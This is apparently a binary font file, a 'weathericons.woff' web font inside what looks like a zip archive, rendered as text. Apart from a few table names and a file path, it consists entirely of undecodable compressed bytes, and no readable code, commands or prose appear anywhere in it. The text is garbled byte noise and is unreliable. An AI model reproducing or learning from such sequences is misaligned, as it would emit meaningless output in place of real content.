##$$.%4%&>&'(t())D)**+,++,l,-<..@../B//0011P12X23X3|334 4n5:  xc`d``bx  L@| - xMn0'UT.Jgº,آ~đ1HwYX=L'*V͛7 8#B"<^ܱp*"!PpOdBԺǗpnRnuxp-:&̖Yct淶j8nϗë.K^Iʝ-TbKrvGsqf~[d(@S`íIuXq~wsV{hSVeȨ+f,U<cyDAJd,*vc*L0p   xmUFKXmv63hq{Ŋ1*+?8a=<\|wp	0>p8U܍k:x !<G(xOx9<@x/BD2^x6x|1>|53~	c0 9(aQ&j4ha%N-3bVTIK7;ۚCfiLZ42kch'g)͛Sjv6`Ks9|2M@LSvS3&R"۪rcqcEF.zkI|SJBOxFjb*"sZ21&ЭHxǎ+L=`G:`mˎʫx!%6?6瘝<}Eݧᄛޞ"JFU[]4S-6κRTgVuo	NE[s:b7#Rv#Ӥ6RSScI]ms(/VgtFL%̤y9dϧIg"/Hc#n9.1{d:/.ϴJ XJs|4e]z̪ԕC*Ր}v	I
+L
p]B ?S"cnStJZS!.&MlZY2'3WW8+5]eAHKӧ=@2K-zX9׻DjC,CvHrPoV(Rz}j"oL)8ُK
2rLIaGZ`ۮq䈶u)k8r%LyyHyb$ZfkdpV!Ubu-kl] տb_SPV[aOc;uRrSv2اG[,qHI- t~^☖ٌ3ڍ\pnl\Ϝey<+YshtLL}xy(<[e<-@	sڹ*a͞J2ӅP	SM-x{Te#f-T2izC4qWlҷre׬둻n7]N?C%3nM
mnv;; _PK     N\m_      fonts/weathericons.woffnu [        wOFF     ܔ                           FFTM        p/GDEF         $ OS/2     B   `tdcmap        :cvt         	+fpgm      eS/gasp  h         glyf  p  ΐ k yhead      3   6Y%hhea  4       $	hmtx  T    Fr"jloca      6maxp         name  (    }post    t  	Saprep  \   .   .+webf  ܌      U       =        S8xc`d``b	`b`o@1  )  xc`fW`jra&f:`	Pp?nqPI# s!E  xc```f`FX1,@ZA (Ǡ@KA_!^r>}@Py?8|COyzMxxlpEL@	]C #(               x z D  x]QN[A 9{	Սbd;i7rq@DگH!H|B>!3k4;;sΙ3KʑwkS$6NH 덌Zlfuє;j =o)M;Z
;4:	!qKͺb00.?R4j˰Ѽ34@Skm!qK˦6$tUS]`*́Vy&ҷ$,b
9@HƼIJ;ㆵƑ6O<MmoYwK:Ȇb;b)	DBFUϽ,R@D<u1Vz~ˊV΋Bwoj)^ξAcJ<,4hCz7zꈫ>'ӿZ      x̽	|u?>3I4iәI&9i6'wiK7)*JKAD9>\zKU ]qz>3)D}j&Lh<%( I#	$
FԿzE Ix8Th/FH<clj(kIJ#5A$bH&ʔ)D[fxxxl!"rC|C#HAzP  N`[PQ,xB󠹱=s>43y^ 9C%3Gн4l=Ǡ14ԃnp깘2'dV[#/SsF3w93ɢUaDv|ϖp,lʰhS̠)a4Ea=tģxslp8Lj<Ng!5^,+FG$T<+ۧl͋Ճgny|3B@4[3` aQqOsO?4k̹`6mw=x͛WݼîoA?t+z8
K_BzCdNWM⡌tÕdn 7!ZR $~J!y;᫔|`tRY=T褋BUIYt@tyb[s+*Y-Nύ}KpB}˖1ysֈ^?.{&Mv^ɐIDXDkvYz꣭o.X;Cw8~\lsuuޏCmo;yS!lPC}`ffڳ&S	o2!1Lʭy䫇B|Pnp1NΥ^T_|~\Jtٖo.zsHjcUX_(O?6T\vzA>wMĻ~utrdr`U͢	BV;I,#ۈ	D<C
JM1l\"9}hm,zjLEW͇7PC1t|0NCia5`}mĢWe{cSǄg<7ðaߊ䫃 ;èAuaa`>R  9&rM؎`MhlHN<E#)#wu|a|{a3`gZJBPN)(=-&^g>8u۫+Z.a:\AVde_bl\Nw;t]0*͚Wn=AYo,?߶}[7ݳ|`Q\lt:/j8>՚9At}ZrnWdqSiws\Me8qwInd5L~vBts./՟ӷZmmjnU]K98_>N ޾B; u90~dZ,2W~nń ~IS=$j"bDf&lCd!! X2 އA [<81d@"*ha10Rc(FbȃNBf 	`>^|}F&ZP? X F҄Q*&;L7Nϰ5D똈#w6!,2f90n<l̀a4J*&&6H/{)'w\|7	Un-+:ªG?9+3H"h=|浖Wo9Cm~sR}:Ap;rx/5`ZmFj y4sw]p)o[yf]c_x77~2].+gl;tmɒXqjOn;A={|8`fqC<kk9Nx"5o6D-FSxb.xA"BT#r1ĊA.Z]XtA]Z_N(@Ci ZC,h	  uy ;haq<5lԻ`i5>\D[1h$
b#w?f5Hu܅=erJęGwwZʢaw/.;tuA\:/,TIll%0eldvsk5.KFDr\찿IR\>/a4~>,bTc3jcv_oQ'S#<
 pb*4o{u|`o ~<e.cr@59h2(U/>{]01zmD?o`3i<g`7xc%-U@\1}yzH0}Ns8fq`9	C	48H%ZD	QfqD'N/!>#A·(GU1;H\O^	0W$b7JPGBXa~7O^MCIW^,juuNttT*?>)=fu^3*L۬RhZKSgW2*KIZ{Z:Ñmgڪ ;TUScwU"Tal6mjyƂɗOZ2Cm< /B)H1ځ8%\]f.i;|(~{.S[uXi-M1n+$Yvs+Iٞ'_+QTg9jRD2tŵhwRpJڛvL_#PɒJ<WcΫR|Zcwu;6J9hejѣU]xB$r{OiFHG6IS!Z~xi$TmRk%0tMT b`v?@NwbEM=GfCEoۀ?(ZN|$ZGch!-LLWN	wC=%0$]ώd"tGfOLھB<ӇlIbP~hiXعB{8ǎݴF*pAa#$a|/>!ٽ{10Oɢ>at?ӡZs?~a[.d2A:KH_~j\sϱlӧNWH*)l=ݔ9v:i'g2
)H1_LU&}~[Yf}e˳b2j崛f6j=l¹coߊf4/5nxIb/|q}%Jn/bXu%UfuPsZ|<x`]}	qn-G sqT=h5!:%@b4wAIE|L\"Tڃw׋/v!vEHq#M4L`mIpzIݳgC5\ֵD®HNЛQ鉟IdCwMXU1֝G;S%Br40:l}5A;)Vͻq}wby)UjָxG #V[>NӸ9U&ЀgV2}aSsj>A5g߶ d .s[jZM6[\oH6ߛҼm)_jFVrπZ^RZ Eo͛⳻_CSP*rV +^|ޘѣQ;\e1ty"R	
6yEWcL1e'~ښ?QѸ]Sa*V*Wv?3j=?"c93iI1f/rqCL9|;?p}9;L&jol[4ugJĝV~8*qd7NӔGWNf!EğG!![XAȟ]A`? JӬzF!'`JdSk3fMغw%ߜ=.Kq9S,6Gd
eizHu4.Ҋ)jb PY,25rK %\CT%I.}޷ 5`yr9,pVq.:z(ۀ}_x}e㫚d6R[] 㟿Ƿ46LfG.Iq
3Y`aPYoq]*Ro-vqVڟLt5FuFYR\N\'lg2>s&=Ձ8in|ȴo 2DK'րiMk\	>D6mQċ={1IͱSR O0]C^d=hT.BJ0^7dx33f8Cia5l(^nw0^tF#Liϊu/;{"=OEi4SI~Fu>^ڥ1xiSXJ}u5ae&#6*9R(%$aӗt,Nyf2`ZvLbbĹk7c&s	%<{42¡LQadf*	mq+Xxv?t3bAqа7(43ltkA_%[קB:ue¿=׺ĭ25쩷=<!{j9۹I-X;uCTp
Qp&V76*H*OTj,79fcʣp2I'~h;^>Odj76N7W[s"p	<Ċ.LDu]|aVZq:6Y>e=.3%l0RkabTU:ݵ9SaS>N!ir^B!)v}.=P"o9iLq:k;B "^!&>OкuK
K`ܽ'p\y`5##gYK"~=DYttc@NrZl9F嘬Нt|NU۳kSLLU*Ȧ`Y|?JUi'u&Kk	,y.(fUAS̢\y	leXHiBm9g7SC6[0FmleIw1&u(Y_kdali|UY|ۥ%7zBzyZ]Ss䅲{:ErO0Ts_trd'`Bg͟kRWa6_Vqd='T9sMm;E//9~Nܟc4A?2jl6Ky9~siMQab>!x3+^0oc"]`E<&SW`}ʁ]Iei͍n/G]66צ_64VĨcgݨ׿I瑵??X=Osf;wd*\5;+gsGf3 cZж`ۻv; w
Q&C63)SiWj ~B[l^p
}8UhRSO.X];]k3K^#-UwN3] 9O$+M>Ũ9>	<<wq؏!63p)L6Z@Zy_)]]qb5`{N2[p]EŢ`4OPEW΀ASzVdJ)1B@mjbє)шXtɔpżAKbh
-6&[CV<5?&<G	)QK0U1ocddvL1smLaP0a#FMi+*U30X
\&Ytdla*Sª3f[I|lTgN,,Я.<.37c{3Tɨܼ[%x-xol0cbNٱ^4cdNo5]ܐjOĮۇ}J-WQ9j՞Փ\pf>j@yj1|ey}qbr֜-nfW%ȋgqgZ,Ua_~H&4]jU&?E/ɝi,|7MKon)\eFygr^]Isu^o SneԪ)i̜>}rg#s?閶)AJxmE6^|2MBZ.k>=lkqתVrfb/!1߃&Ő̃prǋ1(ʎRσҐҋzӈ!OZvCh!pŢ`a|hC-"N6	zka49G`hbGMƘNo ,gN V3	nNFCp2ϜJ,.^o1u-CzpPrα-;QpEF(Zhn`æ?]wd%b&,F	*'Չ1li<Xnm̓Ôz:J;<OK{oywsw9Qj͆7its]ۚND~?qJdiY^~YY~^urp2&l[:eOoXٺ^%]e{?Htڿ>r˱'O%.0uYy֓٥dEtªUjkoߓ_O-zdòC?
{}(SA9j_`X:LM f E=1𼈸|@=XSAU!{Pchyp=ك[ 
1TNCFy1Lއbšߩ><xQ֊B
U%0TDt\YI0J*EUP>U !,!rscЖ0s=XAw̕C-rܙZ5XTtPN "Fnyjvg!dQzJnuR!}5AH?w04ߐ+pv|)
\Aظ}ܞj10|۰HFv.z}瘝?7zO r0 ?Amq{=f`O>Y7s
\od2|ec,r-{|>SU؝/s'Il˹ϿbV?qe{8wI~:'s?tpOz̅	pM?|b58(Vn_!#.HJ\p*0T[~algg?M1K{QͼA[GT&Pi.S4[wulTWc[_fSzz󗍅+vǻMwIbslM60dK#ZVid/':U)VwVi$PbSVڄӻ*MlaZ;+5٪?`8>i1v٣fs>>w(6s*3^AMPdeiǿxl`+ۧ<V\G/]T4saFr$-;+U$w.~Qƣ:{B⟇9s4Zg.	wr4u,9,v3xekDmX%Du@aMib38L<X'լk
Lx+zEoՉ+(&7JOGkgO)5_*d^Stt
ݱdn#w'}*4S0[?eS!3!mtƚrZ\TO>wV¹
Q͙Mf\{Nϓʂs{-;0}2
@יiVx}umjZ"̍cCajmOzMM6LِQn&)R!|u\N'8}ӧR61&^cCpti)#I2CL*7bɫjagiŘ;ҋ>kyQBO'C4 [h!Vݱwy  </#*|*H?0ⵋňˏO, Nia8âCAPB?jY"Cm9C*,py?Ҋa:*q(.f0YdusX8 D[y6PdB+T8zJt/hku@NH"?JU/=r:WӮ g7bUˎY^>)Ӟv;]tȲǷ=+[>[6K1qG.;28e,s *2sCuGRKDNVgϰ;ؖn-g}Q9kT$ZTb4`,z{1/CFVz=k (L9܅d!xYȮaҷ)t݄pC݉7~hu%#{
\$Y'9+]jvOڹkbVɒIm7Zl:?^h6?~Ox6K0ܲg\
v}9G9!"෬ԅN|
̶-g٭-濐L_L/6} O?%W+By(oCTCYK\Iqy"mPPЃnPK9[+:w,5Ȓ=Aw!I VL*L$çب9%/_tz|܇E,/ $eJ_TK1O
|]HZW"BdQxN/%{=oyTe+UW!j?J}2DjYzJ=k=Sh/{q<}r<yԯ8:aɓߞ_zyWT?,+LSfYTYsQ_K;+DT=T	3Ʊ`MADkyÒ|/gY/b<6ĩlWp}ˬ`"ZKgQ_4߰1a+vmʗr|0B&X2^7mj{\(<q$YUXةi={ {,n B)_k*߅\QNmnA\ 	EfX|ȴZ(]^]U$ћ6+!/|kXh^WƋ^51;W8E1aA6udbK͸8*GZ4S%Ģ4:)&G{:G{MO_; L8KbbqA0f)_*-l*ZE㚨@!3s[z[+At|ygtg+7R{ҜKH{LeGqXKٱ>,֒NJ;=lczzō-ncHܨ4669}!6[v]dHRSiOJzIEh#4/|R"j3|rr*Kٳ4U3Yfj\Q䄸l+<k2X3V)oۖk:>\oOvG_,HѣamrvNRf͎:KśuufmD'50kB[M+vG%kũ4iti,Je[S[>MzGqH#l}KdTlI {QeHVh96@RURi?k>LJѾT^nj-_ZޒySiU<ܮ_A!1NN"^Jq7$PA=T{h6ugbhRzDSTWDr|Yo`8i>0 ,ch5S3xC1lD#?ChC{/DO+&$yr7'h-D
Q+-4ʾעyp˧)!<H:v{d'ΟרC[ok>t'uynnv(ts̀2e[oklmxde2n\2EaF <B$G@00{T.9#"VCNЄ7s3=GO
c:LNtjl` NGtO+#[~*~c'QltLtga{Jތ=XH96^}BJ])vNSA?Nʱu"lC8OU9lrMrVӨ&jUad%$U6GN$i&!RVs\96[N9:E&%Nr`#aWs8.d)+`Xsr-_on{9`_SkŊ
m7H(]^oP+j|>ݯ,t{Y[(g5Su8C1[^=hg,hg3޲-q4,B	NJد`bucz%ÞNa7 Fƥ=R1޸]`NZQ1Bҫr	w÷:1qH{R$aS
=#(q'vHPzp,#`9SR9nCbiSV*IvIsMwՎu:[vLy%y@TpVӪdg]&%e%+\ L3>Օ/>,&`l+#^#)Mf*vm!RLvuK}~·V,z)דE{yědڝlˉ%XIi;H(9vf|V,8(<ًzܦei
6۔oӪeIvwV= $ED"CC`T+E
u^
hicN9}r,t̕$}}hT) GFh4Sz8:F:tBlSҷfQN[bsE Aj^CoSB6"	H "C>GK/g{;xref ]nPH&Ccn<0t?C^rc߶lؔ-t*6.Z{M,{.D~B]lԤn	}BL9줁+&mîw)k&K>/?Rl6	EQgSi's%Ku߰|C<Cfr&z='qIo<Eff[eJwJ/uha
V\%d]]Iɾa>n0nMDi@c(}xKH%flK{)!XPD`XH7ކyq)yԹb[mLLy<7}rR mxy7A A  _b$jCf	FJ
ں<9>={hzKZnerf{.qdmvh<*Ct# VxlVN$gںa'N`ksCe3n)t|W.Tt-+V&1`Q٨Sx)Ơ=kG45y&76Gv)Ư7B8XX$RH1|#ג+ő
򚁤38t}qCN8?L	Ȧ4w|w1JSOmf?iU-h*\N^å5rYfUqdpJñNr9Sbp~J dY*˭ΦkRIVפ9:|c5gQISm=VVJueK}D4ƦWT04j3]XՑ:@4(FR047E_MbsZX%W(c2/RWsݚ48JI6l^jjObD"#<boM1)T܎X$BA5ZE71kcVopP?/ޙ=xQpY1aJq/g7r'밖 '5
ǚGnUf8iHk$zHkW O.J Of3v%;uPvtCWDA(8ޚB
mБЈ_Hy\qMf$^< M\N/Eo}7W'z	0_n/XЀ  p	rG O:,xshAڸ#Xb2'"Gd$}v	/xɏEE{/R:2:yDs 817(0<a]!("4Il *QnL}<MQY느A_̯^ICBn#Wt?C$ Ř❷7u^<q2~bݣv7bYsYFdhҸ޻mgqܼnss3ʫdWpe2/^#Fw˝N3fn+UVw>ܔ[RBISUQlb5z;쐸|28&2/n'1aw>b>Na)@2Y!҇U4SF;::tc1315x'/e J%Utt{#;H҃
G|<#[࣍!CG<en_jc;~_!q=%5p+!@Pe¢9F+\LHn7|ҲruL0@Q++2lW>7rU׭xu9`;^??TdayD}1bZKvBI>QޟT㐭npu}&fHrvMڅ;Xd[mVgƪyg벴&icE;RhFgf9-7y&ĿE3ey)#-:Q\-jvV6Yo~&ybqwV53=))vBPjk)b
xɿid`A:7RpͯkC,"JEW,,_mz5?%kMC"(֤&(Z"B>8D,y!=La]-%,\7~TF{KkǊVDfSzhR?_xMBZ"Wy8;<xIbUN{dOo&-hGޗYfS$/i"'4V&KgKiO[M0yUt]zlh\%:YSv_Y'i:GJJ&f*EjYw2F\ D*9-(}b>+UI`F%5Agں9yD3)QX_N/I$O
.ӑq;~X>"ϻ<ExCvy\p3ꊻ2^rgĺ
u<a!J.\LVxF4]hg,s(0o&Z
b_F Fi
-0BK va3$̣9y;NNų0̜4t-`QS`%62m^5XϊKvZF}OW":lW]#rFv/(L-Z
+7RE`3DD_N_կoA^C!;7p(JT<T/qz^R?_9kbv/7+yޜ[^J7ʴ'{$Q|ۙXkW6Ro{KiYZfVΎ(YqMʡyѤc5L^yV;#/[gwCCCYyCt!+{5HW.>X/KR3rX.Uc.Y8(;e21IawRW+őIF@f]!*^n`=}eY)=h94,BP"ldFvwK'`7|̩lWwES~МDzsZhzQv
{M6Bt=bdz3%#K.c=e{8/B-'ض3g[$T~R{kUdhc*JW]^<M̥_Y>T&G5_,Í|D ąNgZB*SI!n򡪴d	[_$./rM8{RTBܾu5JsIrZ]b_AV^)^esh%.hZzl&j_d~Kw
ߣ#ģ>rUqõc%u+a_P3aRm0۝=)}<֣θ¢4>|0'q:y2a?V{£:FT"wl]gd.n)`}NCJNVƔ;H&%G{ڕwOl:p5ZCCܲIIn݄3Za6TfuT$	ɅTUg8RSVG-d*fe+Lc.n~ݞK]P>%lcjRXӝMdFv6;dږO2i3~T:PU򲌤"9!]:ִD,LXä	ڤ	Iʶ/׺/'tiݬڕYTH&8E2=Lp"*5I";i^7؅P7	w{z=ODH/I؏3Bi`*d%RXMTeqBs)T\4ɔ+`U{![2?b%R(4_ST5> ܬO>	8]m{poo 8q0}pQ%5&3^G?Q_L_חּ,=٢H&&^	>x>տu+	B(|_svvL۸wؒ	kCT#YnU?_'E
J_4:';yJ}3.7X B_oj庴e%%tjr:cͥ?0~By̾?ڪ7%gFLNtO8I~<ڃ&Tn[A1 J"C܀sJf./Z͞C$J(pfF@,OIhMw-w0l 3{a n	|LଶMm;!mu)+?"G<fUFMdPX!Oy'͘ۄϜ`:!GEc&(m;x}JEMe((=He^rC[n{!ZY)B=
I1`TBHh
#(z!o=McKcc@ҋX:xsc]{c$i}wf@%ǒryYWQr;B:O6)V5_2k wރ3K/:KR,5|L^尐g2f렌xo=TrZZ@.9-؋SL덭ԇO\#_}^5yoWKM6nQCK5䲪W
<8řild<Pe5tER&d6sRJsƝ,jSG_:	@{_&&O%q|!*7	vR0#0	ESi>ߛկ^!@o'}u̛/t A@"I ч3n\8,̘cGE;X52E"enBMzs1+"hj9_w^NL)MRyIal+Vhݔ9i0`M)iʌhs{uPj@r2Öͪo0|o^[r&ժ5> zhlX,0R}}.2]*èyEVoqh5GK<DnvyɧdSKr*ŦFMpq9.SdpBZL-I&j.-Q׽0яM޲O 
]Z7xQJʋPv6;)q_Cpݝ5$8d|hmKkY	? 4),r]$TpJ+Se\jl^:p݉N޺d.]b.OXZ<x3rތOG!8KGFt#Q5<w`>8-ё0Q,uUkm|G:qzʤ_#z(ɭܦTeu)"@qψfCOF.?Mm`MX+pzFio|(&_"T
!^KXM^߿qoԣWJFI̟q\TN"$J*z"]]ۚ>^;O+OZnf-RI5)](6جRYV<R1Z6'8̩Ѧx_2|͖Ii96K4,N p|ў3yYMԎpyaܑ&yta|p-R;Ozs^P|M&p2祒"ݽ^/RLZ4'.By&e,/Yy˵Mr{ W-)qs>!ci"b5xOD`3+&6K"۱dk'znCvl9+cX"1`Ad|XKz1w}L{~B7yQ{OI0-dI.
%zCCg0z=^aL>I~pVc
ôcCb5UYĭoǁ
g|a|g#[HNA=FU5Ff_YGɧG3-cl}V&YR32\X4ٚN\_Չ(n}]>^(2+8$Y96.?V{I͑-B HEp+_6|Ӵ}ٜ(>dLo^Pp` "pA|DHV!Pp\>+x}8=S1fO5/H?1:rbVވk6Z-q	p45mT`TZ
;ԚY'y{xDn%n]w1R<Z(x6X|0UZ|ڼ!cn`=.]=Y@
WU7STݽNWX{5WIM2|j72)|T_g^X)SjػF2&W^bFNM3VsL3Yɺ'&4v<(ƽ._Fj/2	IҴbپz*:xbޗTnKg/ݺ}}nsɭm6HYہzW{CsA1xDlF5 \-}btG(;zΖİ. E9 \C<h]^t":8ugF~nNv+PttX3.C[E`F"kińj!\ּf80YYa.a:r;W^IȯSB˫wT4na=z(tdFnelZ.F00x0kqlBf_îaL:IYduKRr\m[ZeY$^^dfMb/ںn=IWO+@Ab`dKE;L6f0m)ݢ-UQG\r(=
4[&15~4Spm>Y$ewPLUg(F_m71	yEW sK0Z_Vpִb"UΚVo&FJHyF)YQ&|<sE|HE)[:zWryxN^PI7$S\{"&Iʞ-i=}?̽`U6<w-[He[ղl˖drcN{8	)NwzBzq:eRD[	,wX#Jlv/fF{νy5˰>spVzN7]N(Lo+nn)[pzhiI|ғTʓ;ŞGݶb+ l؄m	n	`C )-β߰W+k7y^fBWi?2Zu͞ޮA^z)8c|b8ccJJG|*B.RW1e풸fһʿ׾ga8<T-	MRIޛ-(ؐϩctq?9ǧ(۱b-۶,i9C @_{(`;-#d+ct*EjGGg=k+&uT=RNt6<bh)rШ,Djo1[t@e*:`2D/~-	Hp=z6vg-0s&v%G+yCH\H3;b);>]ۺ䯻?Z!Z2Qc8>h@%%u&q|fG#Kf/gz tሲ9tJ"@$9J5ܡ`{ϰ3/!	1D$(ha	Z;Ao rt8"h\} -XB;T;@QM*'@?&IgA~h23.lZ讻9S7)ꯋ}nO3ڇVw},4f}+NԼ}mo6ƮϬp9d\?2Z oȵkAZa^Q8Sp\4澸o8蘾z~|O|8"u3H6YX%< T@p<([fgHc_бeavMyj0j~dk4L&[0p:Ǉv7	%;)IzΏbuoE!:1` 	Wtz;
K2 spLsD\z{XWwml>eg@{IUM7}G^7;Fjq3SnA%~5@p`J՟vl<n͍'pߕ[_I壍u}
?.T1UImfs'hėan*Q'$IaHJ.\X㫀
Avu@Q"*+G	oznLf[J:>y;^c;w|eoXr۱AT2'є<Q(rެG/iSf} B[;{B9K|%+8:i¡p|>INӨ2WӁW:ޟP:u&)/jl<QKDɂ;.zyݟ<-rvP{v*<wq	j:H0SI2沞{e~-=sZOz"Y=t9ޥ`-v,	V;X%WmpB[vO]A^ɞ埕nf,vbdH7-$YOdԻg^\vþOW,ui29V.cItxRnNm)upo^-Hk8HܻFdRmV[U4YmGrSMљy`KLQ<͘m@|]DjC;ӾC=cZ	" 5k{?M+i",V+̕F(@؇/6cl4qQgT |QMl=<6*A-3/[(g8.X/}CA&B4%ս$;4(X7(T49OܽQ#b(ljpF1)`s.@o9!D1iJ%O͏kqsݳ@ځر5yWW~-=ڡ+@eoӦ=e(@;RٴT20ӈM]
r6e1<`Fi҃p&~u&{	W:@G=H=G]^-A~W(U6~Mă\pS3;_|b#0n(X̮.߶qϹcg6*oŶso"9~@ŝd2ұg!ށIoW_c|o1۳RypQ&δROPPˡzTOY4Z8~'a{VcװW;؋HGȌBa4Ԇj	viBeYeu~C4n&*MHyEw"X{v?,y)~jv^Q×,d/#ru~f<{bFh[\Oh_ƇUƟt?"yP{\ڲŇ62b%a$a|;_zp]ǔA׾pWr	C}4g*t4wH+XS'T5`vS¼, zB'1ŪvTff2llo2Ҽ蔶+O>:EϦQLFʹ}oli{	<XߜWs4RHgZ\ր^u>fnMnMs{1F[g2.SdS35/UK&iniAxn'&m{[%@c<5Zz^ˣw,(t
wL@7[̩q8Vú?ٱ?f9;Bh=;аcM>s&=$cXĩ|2lF6;|u}&d"|[0ټ kќ<Y\Q˗Eb sT!yPIrG~?:ֳhcHu,}ܶ=rO8xq>ʐ8ץ~GzĜ"3x$SVGq3]
SpT?{8JqM8b"eZ/NOۏ+b!*'F;}WG2G4ӓ& ZCp7yDx,Lh,=,n"-P8@⩣	}G
;6:;rн\O?Bq;SDTˉʕ\aE˅5v=q![l7yP_!ҫhXVȪ~o6#Ӛd<2{J8Z 39
c7#[6]Op{Z{N0̤u106 W3d0	[~ҭWol6{a3ٲkw'D'w܈HUV9\ּ	@!c-Ys;"8{~ \|=wp(;v`SA4*=U0KAyj&r$Vꆵ[@LM$E;"y~\Gqlsr	YnݨRzdj_߽e߻8>.%˪pİo+2Ƕ_cQez,ptf e j3QcPKEi1>:풷uM{l+q܂H<
[OAEMub_ʋwu8Usd:e}U,π"jmYXn%2jo u[n(v<+$``)ǀ="^,rQL_;)Z3Kr#<j9څTx$Ǡ'n3l3K^jwX(hXl^
(nV,i2l
J݉hM8h0_iV44l"H{`E@z⠰@KT:eE8аְaóqK-
v[\
5gFR8sPQhxB2	=̦&ewlT?h:@t5W)"ݫsK5z)@V<d[@?2ʽF#.@٭dm8#3R&	6s7Gѹ[	LIN"ĖX[n))AAꫠYw#w0GѱSZK	Ů1x|\E?K8eCրhd X&eG5I27^	Ȅ'`z%
vvqp^:(yU݇=p#`cpۛ	NWMxL╃dMY>f~ʘJ
x D9n^_]{CynbX^Оu3e^Z>HE!KLhm/H3ݪg6G>P䖱wSZ8P#A$ÇV97:hu,qFbj]czǷ.!9By~~n7O%u:36Z/AOZ(;Y:Ւ䃅ig۹iq!4GI"C7d<2jo#ao+70>")t-!FOnq['Dt Q8DG`GPpWڊ=յsZVoݻ(زl@&V#Y˸%j	N[*"Y+2+ؽ]7}O*<mtsЎ%Y(­vcOvB;Uwvc_2rK#lTƀL ؑcFtM5st.Jlͭ]f)3p
5L<G.^4l=OHM7Mz?*rl|ngS{pe}qCc^Iq?-AEsCWEpm-թLOũ<<w6)#«#Z^8y=g5z!i@UdN=,*u%IeުQxGi4X(:őA#Fr%1"Idl"0	IG+B :£Z͔YsAvA~/gLPadqd16m{O*m<R`g݂iO(#㨶sīwwk!A-FYT+w[B+`/4{cosA}r
bWx5Pf0g_p&֕l/ײ NWߺl	{/GwB%ռs^TS
9ܮaco&pA?*~J
ZrZs	pi AQ[Ge9ȥ<xC=ӂxK@$J~sdC
X#"JuEr_]<"OdkRW'XK.@s̄U˘ۿ_ssL
gjf]rNqT<a{l9	ZN(93,Kϝ{|'3M+t<qzL
c_kLe&OCtR6;X<nE_B{bDNiVyJ[bpRԏȨ=:C9,.Ӄ	{3H8*U5(-s:b'd	yBF'_bw_&yJ,PqgёK+/G9OQΉ&@@lŖHgst:tCKO-A\{A|'᳝JEWXMs]e2Y&r}p$uJl[4,d0}phjG^Ä&Α! S`(+(yAyM}=9c*،tz*EY@$9E4Uy>t"B:12\ wmժr0 |vt:7L~#=0_n7{$||s<@3Z[g/rMZZ[k7|ٷN	TFmK%#\Ÿo\Uscd@G4Ht-_ƠήUuruk[**nEw6 :`؊$JV7\G:ͿF};OM{$5:㉭{2%PSXX\ͳ_3=i
8AQ㨰.fX:WGY5W-<g,QN*f3!؅yA~;Ndͼ.le4go2b⃏o߷鉗v)gc8tyZ|b]mOA["QthQɟAk})Օ
ƍOix.&EJ'#'0@e`
FaeG3#k}Jr
aH_BA,"h#(rAE$TK?qN62&19RV&;LNڔĿ:+ST&r晠gRaA&TYe\4{P$nDlvE=tfꡫ,ź9c֢"k{9bo@ssvQ3HM~lY3~ 7=xYxB7 "BJ=aBDtEHp<b)AŚlmEtPc2ib<)$	^A{m6deƹ(J!R2[3QK㚉(ffce7F#B+pKvRZ4vxέ5D#cĤxYT(CbТÉ|f6#'CA[O5wsu]=<V>),j wr6>(&dC@ۑ̜v\8'Py6q\#3@}l>t	>,SztN2t{ua7K1
2©!?z!B$+Zc^}].-[	-^#Pj棗i^v1ͨNuffޞQJO6m<45'7o<DCoKuS{D</4UI5q`!jT3Nd"O2&ӱPk![K7_N~A2Vk	>DHS\l<Fp*	9QIg;rKF_l㙙([9&M+ݼҤGU|,Khϑ:|D:ã;jȱ֎?ysv[f&2oLx;-8^g7yB_Pq 7mj,Vqkn7qkk.~ӮF<	qkgf!<ڨaGX;l}w!tqID`~/ѝMdCx
Vd0.M@`STH%ff4ya7kt`8fYn<ϟ[ٯY9âHڗ/w+?}\\K+K5rԞNU>I	'1.żwtFi4wVA2ZjW(( %<)U5SVzTߤ51`-bK)hY5ԥOyɔbڒ"0KG,8˝Ud) Ig5u2'	8O"'RzJ#R\jǤ(#ghI6G~b;4$}z<^ff73C"Lߔ࿥},$[v+E'
_x;X=x(p|)zhMvEV	MU8zFFBw=Ni%"KE5;Ydbȳ1volxn`پ++4=3{'Y=:Fv.S<T)׎6W"8*=E~(>~4a)w.חZHKN[AFh(7AG2Ur;H^
+/kYt^VDFƉMo[*kƬ5f36K)u~VN)-=-l|9.xD)a_#פ?uq~Q)^UcY:)	%ߔ:Cm_>r{8OOsrz3obE!G\|dehKKP:UOK{Yz/$NGJ:CVg"92-^Y:|.ZeY=yAGؗC޸.\cp~n*:Sc4kL|r0׌XUSN۶
9OhG~ècQg(P?'gLE|s}~.,^;6pobWA|j`{־^usLa$SH>2
j
z6` _x'~INf("xR!&deA֠`8H[@莂NaoI \7Ȥw

T4rpdoMC<ry$|@h*(ҥۻra0U+{a"o3X/p9գJڵܮYT5D@"/kNDI :'&(yޚerTh޺s8[΄l!m%=	9;UbNoD9LQf-%8gA6yRۧ?+"u@>nC2!-\f"$7Мܑ_:B@Mڭ=ü(0.Vw2wj4hue59ֈ,cҡrJW<=vZU9y6U,sF(~͔?Y3ShmEaAyyAa}g晬sf+4+*W)}>לU*[2eeGAE[FT{<U%qJBt߹W_"U([~]X^Qkf*]g۷WWq6{)E':ORZG6gy^a[CoNҧ	b'^}fqKEx$5p2)MKCR J2
\X-PMb̈́K9*pq0
f. gV?uk6;4|Dƃ͜v&J63֑'"A#aecMFf,UU]3&1BØ+5
'fN,J=U9Jz:M(w5^'=!ikGӕC+?}a~!d"U[̷yA|1*k.0dg?P`2=éL񧟊+V^ɐdF.]tI+?>;@v4q\]*9*nj8Y6;aon2McɃBLЉ&C:lTƋg õ	W ZpsT
TV4Vav?}:$L>Wë{؅狻'NiK|ݺ׊@,s]Z/(@>3u!Jbш\@I3urLbnIpm$]:y:ML'[eEZ9ϵZqÓ'[x3ơB,-UD:(3G*	yx螊kn2){"A40,
(3UN&Q`byN#( E%bEVw&GL;YVe)v%g-e[0YɡUDC37XX-4
&τ&`櫅QT3|.t=h&缕-d+6=řzn=eAG9s^5YJEؐ	s\lsE{F@FLe,ɸ ^;ff:%ʻSg&^Kt'My&kk5jլz9/UUWK[w]O!1;O_8gF{foX^Rt=mU]-Un}a`7h{ehedXQmY.;{눒I}ʂeegklQrAR1
٬Nok}}W}nNWlҬit-ǆ#Busˉ73sm3gBdF<d02:\_#PܝXԔkZHR*sG21j:"pJ)Tp/ܧR,gw|*ZtkXutv2EaNa]d+2PˣxBтJ2TCn2Ǝ~TQV-D!e`-UDF-bq.L4!hBHHho"Cd|aɒbo;{t='D˛'ƅ_\>>ՎF
